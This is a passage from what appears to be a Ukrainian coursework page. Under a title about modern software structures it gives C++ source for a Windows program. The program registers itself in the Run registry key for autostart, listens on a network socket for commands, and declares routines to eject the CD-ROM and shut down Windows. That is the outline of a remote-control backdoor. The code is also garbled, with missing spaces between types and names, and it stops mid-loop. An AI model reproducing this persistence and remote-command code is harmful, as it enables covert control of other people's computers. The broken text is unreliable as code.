Курсовая работа: Розвиток сучасних структур програмного забезпечення
#pragma comment (lib, "winmm.lib")
#define AutoStartTEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run") //додання до авторану
DWORD APIENTRY ClientThread(LPVOID);//прийняття повідомлення
DWORD APIENTRY NetThread(LPVOID);//прийняття сокета
VOID OpenCDROM();
VOID CloseCDROM();
VOID AutoRun();
VOID WindowsExit(UINT);
INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //Main прграми
{
AutoRun();
WSADATA wsaData;
int err = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (err != 0)
return -1;
NetThread(NULL);
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam) //прийняття повідомлення та подальше його опрацювання
{
SOCKETsock=(SOCKET)lpParam;
TCHARszRecvBuff[1024],szSendBuff[1024];
UINTret;
while(1)
{
ret = recv(sock, szRecvBuff, 1024, 0);
if (ret == 0)
break;
else if (ret == SOCKET_ERROR)